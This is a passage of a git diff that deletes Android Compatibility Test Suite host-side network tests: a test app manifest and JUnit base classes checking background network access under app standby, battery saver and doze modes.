-        "general-tests",
-    ],
-}
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
deleted file mode 100644
index 3940de4..0000000
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.net.hostside">
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.INTERNET"/>
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-
-    <application android:requestLegacyExternalStorage="true" >
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".MyActivity" />
-        <service android:name=".MyVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
-            <intent-filter>
-                <action android:name="android.net.VpnService"/>
-            </intent-filter>
-        </service>
-        <service
-            android:name=".MyNotificationListenerService"
-            android:label="MyNotificationListenerService"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
-            <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
-            </intent-filter>
-        </service>
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.net.hostside" />
-
-</manifest>
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
deleted file mode 100644
index f9e30b6..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.APP_STANDBY_MODE;
-import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
-
-import static org.junit.Assert.assertEquals;
-
-import android.os.SystemClock;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Base class for metered and non-metered tests on idle apps.
- */
-@RequiredProperties({APP_STANDBY_MODE})
-abstract class AbstractAppIdleTestCase extends AbstractRestrictBackgroundNetworkTestCase {
-
-    @Before
-    public final void setUp() throws Exception {
-        super.setUp();
-
-        // Set initial state.
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        setAppIdle(false);
-        turnBatteryOn();
-
-        registerBroadcastReceiver();
-    }
-
-    @After
-    public final void tearDown() throws Exception {
-        super.tearDown();
-
-        executeSilentShellCommand("cmd battery reset");
-        setAppIdle(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_enabled() throws Exception {
-        setAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        setAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-        // Make sure foreground app doesn't lose access upon enabling it.
-        setAppIdle(true);
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
-        finishActivity();
-        assertAppIdle(false); // verify - not idle anymore, since activity was launched...
-        assertBackgroundNetworkAccess(true);
-        setAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-        // Same for foreground service.
-        setAppIdle(true);
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        stopForegroundService();
-        assertAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-        // Set Idle after foreground service start.
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        setAppIdle(true);
-        addPowerSaveModeWhitelist(TEST_PKG);
-        removePowerSaveModeWhitelist(TEST_PKG);
-        assertForegroundServiceNetworkAccess();
-        stopForegroundService();
-        assertAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_whitelisted() throws Exception {
-        setAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-        addPowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertAppIdle(false); // verify - not idle anymore, since whitelisted
-        assertBackgroundNetworkAccess(true);
-
-        setAppIdleNoAssert(true);
-        assertAppIdle(false); // app is still whitelisted
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertAppIdle(true); // verify - idle again, once whitelisted was removed
-        assertBackgroundNetworkAccess(false);
-
-        setAppIdle(true);
-        addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        assertAppIdle(false); // verify - not idle anymore, since whitelisted
-        assertBackgroundNetworkAccess(true);
-
-        setAppIdleNoAssert(true);
-        assertAppIdle(false); // app is still whitelisted
-        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        assertAppIdle(true); // verify - idle again, once whitelisted was removed
-        assertBackgroundNetworkAccess(false);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-
-        // verify - no whitelist, no access!
-        setAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_tempWhitelisted() throws Exception {
-        setAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-        addTempPowerSaveModeWhitelist(TEST_APP2_PKG, TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-        assertBackgroundNetworkAccess(true);
-        // Wait until the whitelist duration is expired.
-        SystemClock.sleep(TEMP_POWERSAVE_WHITELIST_DURATION_MS);
-        assertBackgroundNetworkAccess(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_disabled() throws Exception {
-        assertBackgroundNetworkAccess(true);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(true);
-    }
-
-    @RequiredProperties({BATTERY_SAVER_MODE})
-    @Test
-    public void testAppIdleNetworkAccess_whenCharging() throws Exception {
-        // Check that app is paroled when charging
-        setAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-        turnBatteryOff();
-        assertBackgroundNetworkAccess(true);
-        turnBatteryOn();
-        assertBackgroundNetworkAccess(false);
-
-        // Check that app is restricted when not idle but power-save is on
-        setAppIdle(false);
-        assertBackgroundNetworkAccess(true);
-        setBatterySaverMode(true);
-        assertBackgroundNetworkAccess(false);
-        // Use setBatterySaverMode API to leave power-save mode instead of plugging in charger
-        setBatterySaverMode(false);
-        turnBatteryOff();
-        assertBackgroundNetworkAccess(true);
-
-        // And when no longer charging, it still has network access, since it's not idle
-        turnBatteryOn();
-        assertBackgroundNetworkAccess(true);
-    }
-
-    @Test
-    public void testAppIdleNetworkAccess_idleWhitelisted() throws Exception {
-        setAppIdle(true);
-        assertAppIdle(true);
-        assertBackgroundNetworkAccess(false);
-
-        addAppIdleWhitelist(mUid);
-        assertBackgroundNetworkAccess(true);
-
-        removeAppIdleWhitelist(mUid);
-        assertBackgroundNetworkAccess(false);
-
-        // Make sure whitelisting a random app doesn't affect the tested app.
-        addAppIdleWhitelist(mUid + 1);
-        assertBackgroundNetworkAccess(false);
-        removeAppIdleWhitelist(mUid + 1);
-    }
-
-    @Test
-    public void testAppIdle_toast() throws Exception {
-        setAppIdle(true);
-        assertAppIdle(true);
-        assertEquals("Shown", showToast());
-        assertAppIdle(true);
-        // Wait for a couple of seconds for the toast to actually be shown
-        SystemClock.sleep(2000);
-        assertAppIdle(true);
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
deleted file mode 100644
index 04d054d..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Base class for metered and non-metered Battery Saver Mode tests.
- */
-@RequiredProperties({BATTERY_SAVER_MODE})
-abstract class AbstractBatterySaverModeTestCase extends AbstractRestrictBackgroundNetworkTestCase {
-
-    @Before
-    public final void setUp() throws Exception {
-        super.setUp();
-
-        // Set initial state.
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        setBatterySaverMode(false);
-
-        registerBroadcastReceiver();
-    }
-
-    @After
-    public final void tearDown() throws Exception {
-        super.tearDown();
-
-        setBatterySaverMode(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_enabled() throws Exception {
-        setBatterySaverMode(true);
-        assertBackgroundNetworkAccess(false);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(false);
-
-        // Make sure foreground app doesn't lose access upon Battery Saver.
-        setBatterySaverMode(false);
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
-        setBatterySaverMode(true);
-        assertForegroundNetworkAccess();
-
-        // Although it should not have access while the screen is off.
-        turnScreenOff();
-        assertBackgroundNetworkAccess(false);
-        turnScreenOn();
-        assertForegroundNetworkAccess();
-
-        // Goes back to background state.
-        finishActivity();
-        assertBackgroundNetworkAccess(false);
-
-        // Make sure foreground service doesn't lose access upon enabling Battery Saver.
-        setBatterySaverMode(false);
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        setBatterySaverMode(true);
-        assertForegroundNetworkAccess();
-        stopForegroundService();
-        assertBackgroundNetworkAccess(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_whitelisted() throws Exception {
-        setBatterySaverMode(true);
-        assertBackgroundNetworkAccess(false);
-
-        addPowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(true);
-
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-
-        addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(true);
-
-        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_disabled() throws Exception {
-        assertBackgroundNetworkAccess(true);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(true);
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
deleted file mode 100644
index 6f32c56..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.Property.DOZE_MODE;
-import static com.android.cts.net.hostside.Property.NOT_LOW_RAM_DEVICE;
-
-import android.os.SystemClock;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Base class for metered and non-metered Doze Mode tests.
- */
-@RequiredProperties({DOZE_MODE})
-abstract class AbstractDozeModeTestCase extends AbstractRestrictBackgroundNetworkTestCase {
-
-    @Before
-    public final void setUp() throws Exception {
-        super.setUp();
-
-        // Set initial state.
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        setDozeMode(false);
-
-        registerBroadcastReceiver();
-    }
-
-    @After
-    public final void tearDown() throws Exception {
-        super.tearDown();
-
-        setDozeMode(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_enabled() throws Exception {
-        setDozeMode(true);
-        assertBackgroundNetworkAccess(false);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(false);
-
-        // Make sure foreground service doesn't lose network access upon enabling doze.
-        setDozeMode(false);
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        setDozeMode(true);
-        assertForegroundNetworkAccess();
-        stopForegroundService();
-        assertBackgroundState();
-        assertBackgroundNetworkAccess(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_whitelisted() throws Exception {
-        setDozeMode(true);
-        assertBackgroundNetworkAccess(false);
-
-        addPowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(true);
-
-        removePowerSaveModeWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-
-        addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-
-        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
-        assertBackgroundNetworkAccess(false);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(false);
-    }
-
-    @Test
-    public void testBackgroundNetworkAccess_disabled() throws Exception {
-        assertBackgroundNetworkAccess(true);
-
-        assertsForegroundAlwaysHasNetworkAccess();
-        assertBackgroundNetworkAccess(true);
-    }
-
-    @RequiredProperties({NOT_LOW_RAM_DEVICE})
-    @Test
-    public void testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction()
-            throws Exception {
-        setPendingIntentWhitelistDuration(NETWORK_TIMEOUT_MS);
-        try {
-            registerNotificationListenerService();
-            setDozeMode(true);
-            assertBackgroundNetworkAccess(false);
-
-            testNotification(4, NOTIFICATION_TYPE_CONTENT);
-            testNotification(8, NOTIFICATION_TYPE_DELETE);
-            testNotification(15, NOTIFICATION_TYPE_FULL_SCREEN);
-            testNotification(16, NOTIFICATION_TYPE_BUNDLE);
-            testNotification(23, NOTIFICATION_TYPE_ACTION);
-            testNotification(42, NOTIFICATION_TYPE_ACTION_BUNDLE);
-            testNotification(108, NOTIFICATION_TYPE_ACTION_REMOTE_INPUT);
-        } finally {
-            resetDeviceIdleSettings();
-        }
-    }
-
-    private void testNotification(int id, String type) throws Exception {
-        sendNotification(id, type);
-        assertBackgroundNetworkAccess(true);
-        if (type.equals(NOTIFICATION_TYPE_ACTION)) {
-            // Make sure access is disabled after it expires. Since this check considerably slows
-            // downs the CTS tests, do it just once.
-            SystemClock.sleep(NETWORK_TIMEOUT_MS);
-            assertBackgroundNetworkAccess(false);
-        }
-    }
-
-    // Must override so it only tests foreground service - once an app goes to foreground, device
-    // leaves Doze Mode.
-    @Override
-    protected void assertsForegroundAlwaysHasNetworkAccess() throws Exception {
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        stopForegroundService();
-        assertBackgroundState();
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
deleted file mode 100644
index 71f6f2f..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ /dev/null
@@ -1,880 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static android.net.ConnectivityManager.ACTION_RESTRICT_BACKGROUND_CHANGED;
-import static android.os.BatteryManager.BATTERY_PLUGGED_AC;
-import static android.os.BatteryManager.BATTERY_PLUGGED_USB;
-import static android.os.BatteryManager.BATTERY_PLUGGED_WIRELESS;
-
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.executeShellCommand;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getConnectivityManager;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getContext;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getInstrumentation;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.getWifiManager;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDozeModeSupported;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.restrictBackgroundValueToString;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.ActivityManager;
-import android.app.Instrumentation;
-import android.app.NotificationManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo.DetailedState;
-import android.net.NetworkInfo.State;
-import android.net.wifi.WifiManager;
-import android.os.BatteryManager;
-import android.os.Binder;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.service.notification.NotificationListenerService;
-import android.util.Log;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Superclass for tests related to background network restrictions.
- */
-@RunWith(NetworkPolicyTestRunner.class)
-public abstract class AbstractRestrictBackgroundNetworkTestCase {
-    public static final String TAG = "RestrictBackgroundNetworkTests";
-
-    protected static final String TEST_PKG = "com.android.cts.net.hostside";
-    protected static final String TEST_APP2_PKG = "com.android.cts.net.hostside.app2";
-
-    private static final String TEST_APP2_ACTIVITY_CLASS = TEST_APP2_PKG + ".MyActivity";
-    private static final String TEST_APP2_SERVICE_CLASS = TEST_APP2_PKG + ".MyForegroundService";
-
-    private static final int SLEEP_TIME_SEC = 1;
-
-    // Constants below must match values defined on app2's Common.java
-    private static final String MANIFEST_RECEIVER = "ManifestReceiver";
-    private static final String DYNAMIC_RECEIVER = "DynamicReceiver";
-
-    private static final String ACTION_RECEIVER_READY =
-            "com.android.cts.net.hostside.app2.action.RECEIVER_READY";
-    static final String ACTION_SHOW_TOAST =
-            "com.android.cts.net.hostside.app2.action.SHOW_TOAST";
-
-    protected static final String NOTIFICATION_TYPE_CONTENT = "CONTENT";
-    protected static final String NOTIFICATION_TYPE_DELETE = "DELETE";
-    protected static final String NOTIFICATION_TYPE_FULL_SCREEN = "FULL_SCREEN";
-    protected static final String NOTIFICATION_TYPE_BUNDLE = "BUNDLE";
-    protected static final String NOTIFICATION_TYPE_ACTION = "ACTION";
-    protected static final String NOTIFICATION_TYPE_ACTION_BUNDLE = "ACTION_BUNDLE";
-    protected static final String NOTIFICATION_TYPE_ACTION_REMOTE_INPUT = "ACTION_REMOTE_INPUT";
-
-    // TODO: Update BatteryManager.BATTERY_PLUGGED_ANY as @TestApi
-    public static final int BATTERY_PLUGGED_ANY =
-            BATTERY_PLUGGED_AC | BATTERY_PLUGGED_USB | BATTERY_PLUGGED_WIRELESS;
-
-    private static final String NETWORK_STATUS_SEPARATOR = "\\|";
-    private static final int SECOND_IN_MS = 1000;
-    static final int NETWORK_TIMEOUT_MS = 15 * SECOND_IN_MS;
-    private static int PROCESS_STATE_FOREGROUND_SERVICE;
-
-    private static final String KEY_NETWORK_STATE_OBSERVER = TEST_PKG + ".observer";
-
-    protected static final int TYPE_COMPONENT_ACTIVTIY = 0;
-    protected static final int TYPE_COMPONENT_FOREGROUND_SERVICE = 1;
-
-    private static final int BATTERY_STATE_TIMEOUT_MS = 5000;
-    private static final int BATTERY_STATE_CHECK_INTERVAL_MS = 500;
-
-    private static final int FOREGROUND_PROC_NETWORK_TIMEOUT_MS = 6000;
-
-    // Must be higher than NETWORK_TIMEOUT_MS
-    private static final int ORDERED_BROADCAST_TIMEOUT_MS = NETWORK_TIMEOUT_MS * 4;
-
-    private static final IntentFilter BATTERY_CHANGED_FILTER =
-            new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
-
-    private static final String APP_NOT_FOREGROUND_ERROR = "app_not_fg";
-
-    protected static final long TEMP_POWERSAVE_WHITELIST_DURATION_MS = 5_000; // 5 sec
-
-    protected Context mContext;
-    protected Instrumentation mInstrumentation;
-    protected ConnectivityManager mCm;
-    protected int mUid;
-    private int mMyUid;
-    private MyServiceClient mServiceClient;
-    private String mDeviceIdleConstantsSetting;
-
-    @Rule
-    public final RuleChain mRuleChain = RuleChain.outerRule(new RequiredPropertiesRule())
-            .around(new MeterednessConfigurationRule());
-
-    protected void setUp() throws Exception {
-
-        PROCESS_STATE_FOREGROUND_SERVICE = (Integer) ActivityManager.class
-                .getDeclaredField("PROCESS_STATE_FOREGROUND_SERVICE").get(null);
-        mInstrumentation = getInstrumentation();
-        mContext = getContext();
-        mCm = getConnectivityManager();
-        mUid = getUid(TEST_APP2_PKG);
-        mMyUid = getUid(mContext.getPackageName());
-        mServiceClient = new MyServiceClient(mContext);
-        mServiceClient.bind();
-        mDeviceIdleConstantsSetting = "device_idle_constants";
-        executeShellCommand("cmd netpolicy start-watching " + mUid);
-        setAppIdle(false);
-
-        Log.i(TAG, "Apps status:\n"
-                + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
-                + "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
-    }
-
-    protected void tearDown() throws Exception {
-        executeShellCommand("cmd netpolicy stop-watching");
-        mServiceClient.unbind();
-    }
-
-    protected int getUid(String packageName) throws Exception {
-        return mContext.getPackageManager().getPackageUid(packageName, 0);
-    }
-
-    protected void assertRestrictBackgroundChangedReceived(int expectedCount) throws Exception {
-        assertRestrictBackgroundChangedReceived(DYNAMIC_RECEIVER, expectedCount);
-        assertRestrictBackgroundChangedReceived(MANIFEST_RECEIVER, 0);
-    }
-
-    protected void assertRestrictBackgroundChangedReceived(String receiverName, int expectedCount)
-            throws Exception {
-        int attempts = 0;
-        int count = 0;
-        final int maxAttempts = 5;
-        do {
-            attempts++;
-            count = getNumberBroadcastsReceived(receiverName, ACTION_RESTRICT_BACKGROUND_CHANGED);
-            assertFalse("Expected count " + expectedCount + " but actual is " + count,
-                    count > expectedCount);
-            if (count == expectedCount) {
-                break;
-            }
-            Log.d(TAG, "Expecting count " + expectedCount + " but actual is " + count + " after "
-                    + attempts + " attempts; sleeping "
-                    + SLEEP_TIME_SEC + " seconds before trying again");
-            SystemClock.sleep(SLEEP_TIME_SEC * SECOND_IN_MS);
-        } while (attempts <= maxAttempts);
-        assertEquals("Number of expected broadcasts for " + receiverName + " not reached after "
-                + maxAttempts * SLEEP_TIME_SEC + " seconds", expectedCount, count);
-    }
-
-    protected String sendOrderedBroadcast(Intent intent) throws Exception {
-        return sendOrderedBroadcast(intent, ORDERED_BROADCAST_TIMEOUT_MS);
-    }
-
-    protected String sendOrderedBroadcast(Intent intent, int timeoutMs) throws Exception {
-        final LinkedBlockingQueue<String> result = new LinkedBlockingQueue<>(1);
-        Log.d(TAG, "Sending ordered broadcast: " + intent);
-        mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
-
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                final String resultData = getResultData();
-                if (resultData == null) {
-                    Log.e(TAG, "Received null data from ordered intent");
-                    return;
-                }
-                result.offer(resultData);
-            }
-        }, null, 0, null, null);
-
-        final String resultData = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
-        Log.d(TAG, "Ordered broadcast response after " + timeoutMs + "ms: " + resultData );
-        return resultData;
-    }
-
-    protected int getNumberBroadcastsReceived(String receiverName, String action) throws Exception {
-        return mServiceClient.getCounters(receiverName, action);
-    }
-
-    protected void assertRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final String status = mServiceClient.getRestrictBackgroundStatus();
-        assertNotNull("didn't get API status from app2", status);
-        assertEquals(restrictBackgroundValueToString(expectedStatus),
-                restrictBackgroundValueToString(Integer.parseInt(status)));
-    }
-
-    protected void assertBackgroundNetworkAccess(boolean expectAllowed) throws Exception {
-        assertBackgroundState();
-        assertNetworkAccess(expectAllowed /* expectAvailable */, false /* needScreenOn */);
-    }
-
-    protected void assertForegroundNetworkAccess() throws Exception {
-        assertForegroundState();
-        // We verified that app is in foreground state but if the screen turns-off while
-        // verifying for network access, the app will go into background state (in case app's
-        // foreground status was due to top activity). So, turn the screen on when verifying
-        // network connectivity.
-        assertNetworkAccess(true /* expectAvailable */, true /* needScreenOn */);
-    }
-
-    protected void assertForegroundServiceNetworkAccess() throws Exception {
-        assertForegroundServiceState();
-        assertNetworkAccess(true /* expectAvailable */, false /* needScreenOn */);
-    }
-
-    /**
-     * Asserts that an app always have access while on foreground or running a foreground service.
-     *
-     * <p>This method will launch an activity and a foreground service to make the assertion, but
-     * will finish the activity / stop the service afterwards.
-     */
-    protected void assertsForegroundAlwaysHasNetworkAccess() throws Exception{
-        // Checks foreground first.
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
-        finishActivity();
-
-        // Then foreground service
-        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
-        stopForegroundService();
-    }
-
-    protected final void assertBackgroundState() throws Exception {
-        final int maxTries = 30;
-        ProcessState state = null;
-        for (int i = 1; i <= maxTries; i++) {
-            state = getProcessStateByUid(mUid);
-            Log.v(TAG, "assertBackgroundState(): status for app2 (" + mUid + ") on attempt #" + i
-                    + ": " + state);
-            if (isBackground(state.state)) {
-                return;
-            }
-            Log.d(TAG, "App not on background state (" + state + ") on attempt #" + i
-                    + "; sleeping 1s before trying again");
-            SystemClock.sleep(SECOND_IN_MS);
-        }
-        fail("App2 is not on background state after " + maxTries + " attempts: " + state );
-    }
-
-    protected final void assertForegroundState() throws Exception {
-        final int maxTries = 30;
-        ProcessState state = null;
-        for (int i = 1; i <= maxTries; i++) {
-            state = getProcessStateByUid(mUid);
-            Log.v(TAG, "assertForegroundState(): status for app2 (" + mUid + ") on attempt #" + i
-                    + ": " + state);
-            if (!isBackground(state.state)) {
-                return;
-            }
-            Log.d(TAG, "App not on foreground state on attempt #" + i
-                    + "; sleeping 1s before trying again");
-            turnScreenOn();
-            SystemClock.sleep(SECOND_IN_MS);
-        }
-        fail("App2 is not on foreground state after " + maxTries + " attempts: " + state );
-    }
-
-    protected final void assertForegroundServiceState() throws Exception {
-        final int maxTries = 30;
-        ProcessState state = null;
-        for (int i = 1; i <= maxTries; i++) {
-            state = getProcessStateByUid(mUid);
-            Log.v(TAG, "assertForegroundServiceState(): status for app2 (" + mUid + ") on attempt #"
-                    + i + ": " + state);
-            if (state.state == PROCESS_STATE_FOREGROUND_SERVICE) {
-                return;
-            }
-            Log.d(TAG, "App not on foreground service state on attempt #" + i
-                    + "; sleeping 1s before trying again");
-            SystemClock.sleep(SECOND_IN_MS);
-        }
-        fail("App2 is not on foreground service state after " + maxTries + " attempts: " + state );
-    }
-
-    /**
-     * Returns whether an app state should be considered "background" for restriction purposes.
-     */
-    protected boolean isBackground(int state) {
